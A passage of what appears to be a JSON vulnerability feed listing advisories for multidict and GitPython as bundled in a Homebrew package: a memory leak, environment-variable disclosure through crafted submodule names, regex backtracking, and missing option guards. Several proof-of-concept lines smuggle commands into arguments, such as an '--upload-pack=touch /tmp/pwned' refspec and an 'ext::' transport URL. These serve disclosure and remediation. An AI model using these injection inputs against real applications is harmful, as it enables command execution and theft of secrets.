sub1=50000  others=0   (affected)\n```\n\nThe clean 6.6.x releases return correct set-operation results, so the zero leak reflects correct memory management, not a broken path.\n\n### Analysis of Results\n\nThe operand holds exactly `N` references to one sentinel value; after the union its refcount rises by another `N` and stays there post-GC, so each element leaked one strong reference. Subtraction shows the identical delta. The intersection control, which clears `identity` and `value`, leaks zero; the only code difference is the two missing `Py_CLEAR` calls, so the leak is caused by that omission and not the harness. RSS climbs from 15.6 MB to 1266.8 MB (~250 MB per 2M elements) despite per-iteration GC, confirming the objects are unreachable by the cyclic collector.\n\n---\n\n## Impact\n\nA process that evaluates items-view unions or subtractions over remote-influenced operands leaks one identity plus one value object per element, permanently. In the aio-libs stack multidict backs HTTP headers and query strings, so an attacker who enlarges the operand (for example, many repeated header items compared against a fixed allow/deny set) forces steady, unrecoverable heap growth and can eventually exhaust memory in a long-lived server. This is an availability defect only; results stay correct and no data is exposed.\n\nReachability depends on the application evaluating `operand | view.items()` (reflected union) or `view.items() - operand` (subtraction) over a sequence of 2-tuples whose count is remote-influenced. The forward union `view.items() | operand` routes to `or1_impl`, which clears correctly and does not leak; a non-tuple operand element takes the `parse_item` early-return and does not leak. Set algebra over items views is not the most common multidict usage, which bounds exposure and is why this is Medium, not High. This is distinct from PR #1413, which fixed a temporary-tuple leak in the second loop and did not release these per-element objects.\n\n---\n\n## Remediation\n\n**Recommended fix.** Clear the two per-element references at the end of the first parse loop in both functions, exactly as every sibling path does. In `or2_impl` (`views.h:575`) and `sub1_impl` (`views.h:696`), replace the lone `Py_CLEAR(arg);` with:\n\n```c\n    Py_CLEAR(arg);\n    Py_CLEAR(identity);\n    Py_CLEAR(value);\n```\n\nThis is an in-repo change to a static internal function; it alters no public API, type, or signature, and asks callers to change nothing. A leak test in the existing `tests/test_leaks.py` style would lock it in.\n\n**Workaround.** Avoid `operand | view.items()` and `view.items() - operand` on attacker-influenced operands, or install with `MULTIDICT_NO_EXTENSIONS=1` to use the unaffected pure-Python build.\n\n---","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/multidict/security/advisories/GHSA-54p9-h82j-f925"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104874"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/commit/350b4a07bf8ff851b6d7544e81b1c748bdc74c40"},{"type":"PACKAGE","url":"https://github.com/aio-libs/multidict"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/releases/tag/v6.9.1"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-110855","published":"2026-10-29T21:58:10Z","modified":"2026-10-29T21:58:10Z","upstream":["GHSA-fx3j-rwgx-fr94","CVE-2026-110855"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name","details":"### Summary\n`Repo._clone()`'s handling of `separate_git_dir` never disables `Git.polish_url()`'s environment-variable expansion, unlike every other caller of that helper that handles attacker-influenced data. Since `separate_git_dir` can be derived from an attacker-controlled `.gitmodules` submodule name, a completely ordinary `clone` + `submodule_update(init=True, recursive=True)` on a malicious repository expands an environment variable of the attacker's choosing and exposes its value both as a persistent on-disk directory name and, whenever DEBUG-level logging is enabled (a common CI/verbose-logging configuration), in a `Popen(...)` log line that is not redacted the way credential-bearing arguments are.\n\n### Root cause / Details\n`git/repo/base.py`'s `_clone()` has:\n\n```python\nsep_dir = kwargs.get(\"separate_git_dir\")\nif sep_dir:\n    kwargs[\"separate_git_dir\"] = Git.polish_url(sep_dir)\n```\n\nThis is the only remaining `Git.polish_url()` call site handling attacker-influenced data that does not pass `expand_vars=False` (there is one other unguarded call site, `clone_path` at line 1537, but its input is the caller's own local destination path, not attacker-controlled). The sibling fixes for `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` added `expand_vars=False` to `clone_url` (5 lines below this one, in the same function), `git/repo/base.py:1599`, `remote.py:814`, and `submodule/base.py:686` — this one did not receive it. (`submodule/root.py` also currently sets `expand_vars=False` at a related call site, but that was added incidentally by a later, unrelated commit, not as part of these security fixes.) `Git.polish_url()`'s docstring itself says: \"Disable this for values obtained from an untrusted source, such as remote URLs.\" Its non-Cygwin branch does plain `os.path.expandvars()` on the entire string, including embedded variables anywhere in an absolute path.\n\n`separate_git_dir` reaches `_clone()` from `Submodule._clone_repo()` (`git/objects/submodule/base.py`) as `module_abspath = osp.join(parent_repo.git_dir, \"modules\", name)`, where `name` is the raw `.gitmodules` submodule section name — fully attacker-controlled content of a cloned repository. `_validated_name()` (added by the fix for `GHSA-hmq2-w58f-27jc`) only rejects names that are absolute, contain a drive letter, or contain `..` path components; it does not reject `$`. `_need_gitfile_submodules()` is true for git ≥ 1.7.5, i.e. the default path for virtually every real-world installation.\n\n### Reproduction (live, against real, unmodified GitPython code, no monkeypatching)\nBuilt a hostile repository with a plain, ordinary git command: `git submodule add --name '$GPY_SECRET_MARKER' ../evil_submodule sub`. Set an environment variable in the \"victim\" process (standing in for a real CI secret such as `AWS_SECRET_ACCESS_KEY`): `GPY_SECRET_MARKER=AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345`. Then ran the exact ordinary workflow the `GHSA-hmq2-w58f-27jc` advisory's own PoC also uses:\n\n```python\nrepo = Repo.clone_from(evil_parent_url, victim_clone_dir)\nrepo.submodule_update(init=True, recursive=True)\n```\n\nObserved result (`ls .git/modules/`):\n\n```\n.git/modules/AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345/   (a full git repo: HEAD, config, objects/, refs/, hooks/)\n```\n\nThe literal `$GPY_SECRET_MARKER`-named directory was never created — only the expanded one exists, proving expansion happened before the value reached the `git clone --separate-git-dir=...` subprocess argument. The persistent, expanded-name directory under `.git/modules/` is itself the primary disclosure channel — it survives on disk for as long as the clone does. A second, independent channel: with the `git.cmd`/`git.repo.base` loggers at DEBUG level (a common CI/verbose-logging setting, not requiring any special flag), GitPython's own `Popen(...)` debug log line prints the fully expanded `--separate-git-dir=<value>` subprocess argument verbatim — `remove_password_if_present()` only redacts URL passwords/Authorization headers, not path-style arguments like this one, so the expanded value is not scrubbed. (The call also fails downstream with an `OSError`/`FileNotFoundError` referencing the original, unexpanded name, since `_write_git_file_and_module_config()` looks for a directory using the pre-expansion name — but that error message itself does not contain the expanded/secret value.)\n\n**Control**: the same call with an ordinary (no `$`) submodule name succeeds normally and creates `.git/modules/<name>` as expected — isolating the gap to submodule names containing environment-variable syntax specifically.\n\n### Already-known check\nChecked all 35 published `gitpython-developers/GitPython` security advisories in full text. `GHSA-hmq2-w58f-27jc` covers the same `name` → `.git/modules/<name>` path but for path-traversal (`../../..`), not variable expansion. `GHSA-59cr-6r3x-644w` covers the sibling `path` field reaching unguarded `os.makedirs()`. `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` cover `expand_vars`, but only on URL arguments. `git log -p -S \"separate_git_dir\" -- git/repo/base.py` shows neither fix commit touches this line; it is unchanged since its 2016 introduction (commit `57d05379`).\n\nThe closest topical match is `GHSA-8mcc-hrx5-hvxc` (\"`clone_from()`/`clone()` omit `--separate-git-dir` from `unsafe_git_clone_options`\") — already fixed, and its own text discusses this same `_clone()` handling of `separate_git_dir`. That fix only added `--separate-git-dir` to the `unsafe_git_clone_options` denylist, which gates the direct-kwarg vector; `Submodule._clone_repo()` explicitly sets `allow_unsafe_options=True` for the gitfile-submodules path, unconditionally bypassing that exact denylist (confirmed: the reproduction above succeeds against current `main`, which already has that fix). The bug this report describes is independent of that denylist — the *value* itself is expanded via `os.path.expandvars()` regardless of the denylist outcome — so the two are distinct, but flagging the relationship explicitly since a reviewer would otherwise reasonably ask about it.\n\nNo advisory describes environment-variable expansion via the internal `separate_git_dir` path.\n\n### Suggested fix\nAdd `expand_vars=False` to the `Git.polish_url(sep_dir)` call in `_clone()`, matching the four other call sites already fixed for the same class of issue.\n\n### Verification level\nReproduced in a real environment: plain Linux, unmodified GitPython from current `main`, real git ≥ 1.7.5 behavior, an ordinary `git submodule add` + `clone` + `submodule_update(init=True, recursive=True)` workflow with no non-default configuration or monkeypatching required. Causation isolated via a control group (identical workflow, ordinary submodule name, no expansion).\n\n### AI Use Disclosure\nAI (Claude) was used as a tool under my direction for code review, code summarization, and script development. A human reviewed and verified the AI-generated results before submission.\n\nCredit: please use \"baeseungwon1010\" (github.com/baeseungwon1010).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fx3j-rwgx-fr94"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2255"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/9349ff58ee00c9fb14d515c8e693f33b2144b238"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-110856","published":"2026-10-29T21:58:10Z","modified":"2026-10-29T21:58:10Z","upstream":["GHSA-m64x-33q8-m5h7","CVE-2026-110856"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines","details":"### Summary\n\nThis is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made `Actor._from_string` regex-free, but `parse_actor_and_date` still runs `_re_actor_epoch` on the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62.\n\n### Details\n\n`git/objects/util.py:322`:\n\n```python\n_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n```\n\n`.+?` and `(.*)` can both absorb the same run of spaces, and the required ` (\\d+) ([+-]\\d+)` tail is only checked after them. On a long line with no valid tail, the search retries every split point.\n\nIt is called from `parse_actor_and_date` (`git/objects/util.py:335`), which runs on the author and committer lines in `Commit._deserialize` (`git/objects/commit.py:917`, `:931`) and on the tagger line in `git/objects/tag.py:129`.\n\nThe published payload (letters plus an unterminated `<`) is fast on 3.1.62. Replacing the letters with spaces is not:\n\n| author line (after `author `) | 2 KB | 8 KB | 32 KB |\n|---|---|---|---|\n| `'a'*n + ' <'` (advisory payload) | 0.0 ms | 0.1 ms | 0.4 ms |\n| `' '*n` | 28 ms | 453 ms | 7,700 ms |\n| valid line, long name (control) | 0.0 ms | 0.0 ms | 0.0 ms |\n\nCost grows about 16x for each 4x increase in length.\n\n### PoC\n\n```python\nimport time\nfrom git.objects.util import parse_actor_and_date\n\nline = \"author \" + \" \" * 32000\nt = time.perf_counter()\nparse_actor_and_date(line)\nprint(f\"{time.perf_counter() - t:.1f} s\")   # ~7 s on 3.1.62\n```\n\nEnd to end, reading `Commit.author` on a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid `1191999972 -0700` tail takes 1.3 ms.\n\nNote for reproducing: `git hash-object -t commit -w` refuses such an object (`missingEmail`), so the test object was written with `--literally`. A remote can still serve one, because `fetch.fsckObjects` and `transfer.fsckObjects` default to false. This is the same delivery model as CVE-2026-87819 (\"craft a commit object with a malformed author field\").\n\n### Impact\n\nCPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to `Commit.author`, `Commit.committer` or `TagObject.tagger` on a crafted object costs seconds, and a repository can contain many such objects.\n\n### Suggested fix\n\nMatch the leading field name with `.[^ ]*` instead of `.+?`. Both stop at the first space after the first character, but `.[^ ]*` cannot overlap the following `(.*)`, so the backtracking disappears:\n\n```python\n_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n```\n\nVerification on current main (73a72c9):\n\n- Differential over 368 actor lines (real-world shapes plus edge cases): 0 differences in match groups for either regex.\n- `' '*n` at 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms).\n- The existing test suite gives the same pass/fail set with and without the change\n- The new regression test, `test_parse_actor_and_date_malformed_line_is_linear`, fails on the old pattern (8.4 s) and passes with the fix (0.5 s).\n\nThe full patch (fix plus regression test) is attached below.\n\n```diff\ndiff --git a/git/objects/util.py b/git/objects/util.py\nindex a68d701f..d8c0594d 100644\n--- a/git/objects/util.py\n+++ b/git/objects/util.py\n@@ -319,8 +319,11 @@ def parse_date(string_date: Union[str, datetime]) -> Tuple[int, int]:\n \n \n # Precompiled regexes\n-_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n-_re_only_actor = re.compile(r\"^.+? (.*)$\")\n+# The leading field name (\"author\", \"committer\", \"tagger\") is matched with ``.[^ ]*`` rather than\n+# ``.+?``: both stop at the first space after the first character, but ``.[^ ]*`` cannot overlap the\n+# following ``(.*)``, so a line with no valid trailing epoch/offset no longer backtracks quadratically.\n+_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n+_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n \n \n def parse_actor_and_date(line: str) -> Tuple[Actor, int, int]:\ndiff --git a/test/test_util.py b/test/test_util.py\nindex cf4299d5..e1631420 100644\n--- a/test/test_util.py\n+++ b/test/test_util.py\n@@ -22,6 +22,7 @@ from git.cmd import dashify\n from git.objects.util import (\n     altz_to_utctz_str,\n     from_timestamp,\n+    parse_actor_and_date,\n     parse_date,\n     tzoffset,\n     utctz_to_altz,\n@@ -571,6 +572,30 @@ class TestUtils(TestBase):\n             Actor(\"name last another\", \"some-very-long-email@example.com\"),\n         )\n \n+    def test_parse_actor_and_date_malformed_line_is_linear(self):\n+        # A long author line whose trailing epoch/offset is missing or malformed used to make\n+        # _re_actor_epoch backtrack quadratically: ~7 s per Commit.author access for a 32 KB line.\n+        # The parse result must be unchanged; only the time spent reaching it should move.\n+        for tail in (\"\", \" notanumber -0700\", \" 1191999972\", \" -0700\", \" 1191999972 xx\"):\n+            line = \"author \" + \" \" * 32000 + tail\n+            start = time.perf_counter()\n+            actor, epoch, offset = parse_actor_and_date(line)\n+            self.assertLess(time.perf_counter() - start, 1.0)\n+            self.assertEqual(epoch, 0)\n+            self.assertEqual(offset, 0)\n+\n+        # Well-formed lines, including one with a long name, still parse exactly as before.\n+        actor, epoch, offset = parse_actor_and_date(\n+            \"author Tom Preston-Werner <tom@mojombo.com> 1191999972 -0700\"\n+        )\n+        self.assertEqual(actor, Actor(\"Tom Preston-Werner\", \"tom@mojombo.com\"))\n+        self.assertEqual(epoch, 1191999972)\n+        self.assertEqual(offset, 25200)\n+\n+        actor, epoch, offset = parse_actor_and_date(\"author \" + \"a \" * 16000 + \"<a@b> 1 -0700\")\n+        self.assertEqual(actor.email, \"a@b\")\n+        self.assertEqual(epoch, 1)\n+\n     @ddt.data(\n         (\"name\", \"\"),\n         (\"name\", \"prefix_\"),\n```\n\nFound with AI assistance (Claude) and verified by hand.\n\nBrian Willows","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-m64x-33q8-m5h7"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2253"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/8290c98d35465a38090cdcc1b17be69967092a15"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-110857","published":"2026-10-29T21:58:10Z","modified":"2026-10-29T21:58:10Z","upstream":["GHSA-w8jc-g24h-crhw","CVE-2026-110857"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython command wrappers omit unsafe protocol and option checks","details":"### Summary\n\nGitPython has spent 2022-2026 rolling out two reusable guards method-by-method: `Git.check_unsafe_protocols(url)` (raises `UnsafeProtocolError` for `<transport>::` remote-helper URLs - CVE-2022-24439) and `Git.check_unsafe_options(...)` (raises `UnsafeOptionError` for denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build a `git` argv from caller-controlled values still have **neither**:\n\n1. **`Git.ls_remote`** (git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; no `allow_unsafe_protocols` parameter exists. The same URL through `clone_from` raises `UnsafeProtocolError`.\n2. **`Repo.merge_base`** (git/repo/base.py:895-936) - forwards `**kwargs`/`*rev` to `self.git.merge_base` with no guard; guarded sibling `iter_commits` sits 12 lines up. Its exception handler additionally swallows every non-128 `GitCommandError` into `[]`, masking the injection.\n3. **`IndexFile.move`** (git/index/base.py:1092-1168) - forwards `**kwargs` to `git mv` twice (:1147, :1167); guarded sibling `remove()` is 23 lines above.\n\nVerified unfixed on `main @ a54d159` (2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today.\n\n### Impact\n\n**Site 1 (`ls_remote`)** - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (`Git(...).ls_remote(attacker_url)`) with an `ext::sh -c ...` URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified with `protocol.ext.allow=always` (marker executed). git >= 2.38.1 stock config refuses the transport (`fatal: transport 'ext' not allowed`, rc 128) - GitPython adds no defense-in-depth and surfaces a bare `GitCommandError`. Environments on git < 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against.\n\n**Sites 2/3** - latent argument-injection surface: caller kwargs flow 1:1 into the `git` argv before operands and `--` (cmd.py:1850 `opt_args + ext_args`), and `execute_kwargs` (incl. `shell=True`/`env` - the CVE-2023-40267 Windows mechanism) passes through unguarded. Today `git merge-base`/`git mv` expose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE.\n\n### Dynamic verification (today; GitPython main @ a54d159, git 2.55.0, Linux)\n\n| # | Call | Result |\n|---|---|---|\n| T1 | `repo.git.ls_remote('ext::/tmp/gp_touch.sh')`, stock config | git refuses (rc 128); **no `UnsafeProtocolError` from GitPython** |\n| T1b | same + victim config `protocol.ext.allow=always` | **marker created - arbitrary command executed** |\n| T2 | `repo.git.ls_remote('.', upload_pack=...)` | blocked by cmd.py:1141 (options-side fixed - protocol-side is the residual gap) |\n| T3 | `repo.merge_base('main','side', upload_pack=...)` | **not blocked**; argv `git merge-base --upload-pack=... main side`; rc 129 silently converted to `[]` |\n| T4 | `repo.index.move(['f1','f2'], output=...)` | **not blocked**; option reaches `git mv` (rc 129) |\n\n### Coverage matrix (main @ a54d159)\n\n`check_unsafe_protocols`: 7 call sites (`_clone`, `archive`, `set_url`, `create`, `fetch`, `pull`, `push`) - none on `ls_remote`.\n`check_unsafe_options`: 24 call sites incl. `ls_remote`, `iter_commits`, `IndexFile.remove` - absent on `merge_base` and `move`.\n\n### Precedents (same repo, same guard family)\n\n- **CVE-2022-24439 / GHSA-hcpj-qp55-gfph** (critical): `check_unsafe_protocols` on the clone path - Site 1 is the same `ext::` primitive on a sibling API.\n- **CVE-2023-40267 / GHSA-pr76-5cm5-w9cj** (critical, 'incomplete fix for CVE-2022-24439'): `check_unsafe_options` - unguarded kwargs to argv treated as RCE (`shell=True` on Windows).\n- **CVE-2026-42215 / GHSA-rpm5-65cw-6hj4** (high, fixed 3.1.47): underscored-spelling bypass - rollout still active in 2026.\n- **CVE-2026-67323 / GHSA-956x-8gvw-wg5v** (high, 8.4, fixed 3.1.51): added `check_unsafe_options` to `archive`/`ls_remote`/`iter_commits`/`blame`; its PoC is literally `repo.git.ls_remote('.', upload_pack=...)`. Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout: `ls_remote` got options but not protocols; `merge_base`/`move` got neither.\n\n### Recommended fix (existing helpers, 1-3 lines per site)\n\n1. `Git.ls_remote`: `if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0])` + new `allow_unsafe_protocols: bool = False` (the `_clone` pattern, base.py:1536-1538).\n2. `Repo.merge_base`: `check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options)` (the `iter_commits` pattern); stop masking non-128 statuses.\n3. `IndexFile.move`: the `remove()` pattern with `unsafe_git_pathspec_from_file_options`.\n\nOne advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-w8jc-g24h-crhw"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2251"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/9ad28cc4c7176d22cd6181d69805058a719dd03b"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-110858","published":"2026-10-29T21:58:10Z","modified":"2026-10-29T21:58:10Z","upstream":["GHSA-f9j4-qggq-h239","CVE-2026-110858"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution","details":"## Summary\n\n`Remote.pull()` in GitPython forwards its positional `refspec` argument directly to the `git pull` child process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as the `refspec` (for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as `--upload-pack=<command>`. The value bypasses the `unsafe_git_pull_options` check, is placed after the `--` separator on the `git pull` command line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (`allow_unsafe_options=False`).\n\n## Root Cause\n\n`Remote.pull()` is documented to reject dangerous options unless `allow_unsafe_options=True`, and `--upload-pack` is explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positional `refspec`. The check builds its candidate list with `Git._option_candidates([], kwargs)`, passing an empty list in place of the positionals, so the `refspec` value is never compared against `unsafe_git_pull_options = [\"--upload-pack\"]`. The normalized `refspec` is then forwarded verbatim to the `git pull` invocation. The leading `--` separator that neutralizes an option-shaped refspec for `git fetch` and `git push` does not protect `git pull`, because `git pull` re-forwards its trailing positionals to an internal `git fetch` without re-inserting a `--` separator, so the positional becomes an option to that internal fetch.\n\n```text\nAffected function: git.remote.Remote.pull\nSource: git/remote.py (guard at the check_unsafe_options call using _option_candidates([], kwargs); sink at the self.repo.git.pull(\"--\", self, refspec, ...) invocation)\n```\n\n## Impact\n\nAn attacker who controls the `refspec` value passed to `Remote.pull()` achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the `--upload-pack` value is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial.\n\n## Proof of Concept\n\n```text\nEnvironment: GitPython from the affected source tree; system git 2.43.0.\nThe pulled origin uses a local filesystem transport (protocol.file.allow=always for git >= 2.38).\n```\n\nReproduction steps:\n\n1. Create an origin repository reachable over a local-path transport.\n2. In a consumer repository, register that origin and call `Remote.pull()` with an attacker-controlled refspec.\n3. Observe that the injected command executes.\n\n```python\nimport git\nrepo = git.Repo(\"consumer\")                 # has an origin using a local-path or ssh transport\norigin = repo.remote(\"origin\")\n# Attacker-controlled refspec value; default arguments (allow_unsafe_options=False):\norigin.pull(refspec=\"--upload-pack=touch /tmp/pwned; git-upload-pack\")\n```\n\n```text\ncmdline: git pull -v -- origin --upload-pack=touch /tmp/pwned; git-upload-pack\n[attack]  marker created (RCE)      : True\n[isolate] upload_pack passed as KWARG blocked : True   (only the positional refspec escapes)\n[sibling] same value via git fetch  : safe            (pull-specific behavior)\n[control] benign refspec            : safe\n```\n\n## Attack Chain\n\n1. **Exposure:** An application calls `Remote.pull(refspec=<value>)` on the default path, where `<value>` is derived from attacker-influenced input such as a branch or refspec request parameter.\n2. **Control:** The attacker supplies the string `--upload-pack=<command>; git-upload-pack`. The value passes through `Git._unpack_args`, which only flattens and stringifies it, preserving the option shape.\n3. **Path:** The protocol loop calls `Git.check_unsafe_protocols` on the value, which only matches remote-helper transport URLs (a `<transport>::` form) and does not flag an `--upload-pack=` token.\n4. **Guard:** The unsafe-option guard calls `check_unsafe_options(options=Git._option_candidates([], kwargs), ...)`. Because positionals are passed as an empty list, the positional `refspec` is never inspected against `unsafe_git_pull_options`.\n5. **Primitive:** The value is forwarded to `git pull -v -- <remote> --upload-pack=<command>; git-upload-pack`; `git pull` re-forwards the positional to an internal `git fetch` without a `--` separator, so it is honored as the upload-pack program.\n6. **Result:** For a local-path or SSH transport, git executes `<command>` as the upload-pack program, giving arbitrary command execution as the calling process user.\n\n## Bypass Evidence\n\nThe relevant guard is `Remote.pull()`'s own `check_unsafe_options` call, present in the current released artifact. It is incomplete: it inspects `Git._option_candidates([], kwargs)`, which only considers keyword arguments, so the positional `refspec` is never checked. This was confirmed empirically: passing the identical value as the `upload_pack=` keyword argument raises `UnsafeOptionError`, while passing it as the positional `refspec` does not, proving that only the positional escapes the guard.\n\nThe `--` separator on the `git pull` command line was tested as a possible mitigation and refuted: with system git 2.43.0, `git pull -- <remote> '--upload-pack=<cmd>'` executed the injected command, while the identical value supplied to `git fetch -- ...` and `git push -- ...` did not execute, because those subcommands honor the `--` terminator whereas `git pull` re-forwards positionals to an internal fetch without one. The `check_unsafe_protocols` transport check was also examined and does not flag the `--upload-pack=` token because it has no `<transport>::` form. No prior published advisory for this package addresses `Remote.pull`, the fetch or pull refspec positional, or `--upload-pack` injection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink.\n\n## Affected Versions\n\n- `Ecosystem: pip (PyPI)`\n- `Package: GitPython`\n- `Confirmed affected range: >= 3.1.30`\n- `Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tag`\n- `Fix status: not fixed in any released version or on the development branch`\n\nThe keyword-only pull guard together with the positional `refspec` sink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shipped `git/remote.py` in each tagged artifact. Version 3.1.30 introduced the `unsafe_git_pull_options` guard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward the `refspec` positionally with no unsafe-option guard and no `--` separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists.\n\n## Suggested Fix\n\nEnforce the unsafe-option invariant on the positional `refspec`, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list into `Git._option_candidates` alongside `kwargs`) so that an option-shaped `refspec` such as `--upload-pack=...` is rejected with `UnsafeOptionError` unless `allow_unsafe_options=True`. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with `-`, avoid passing untrusted data as the `refspec`, and prefer HTTPS remotes where a client-supplied 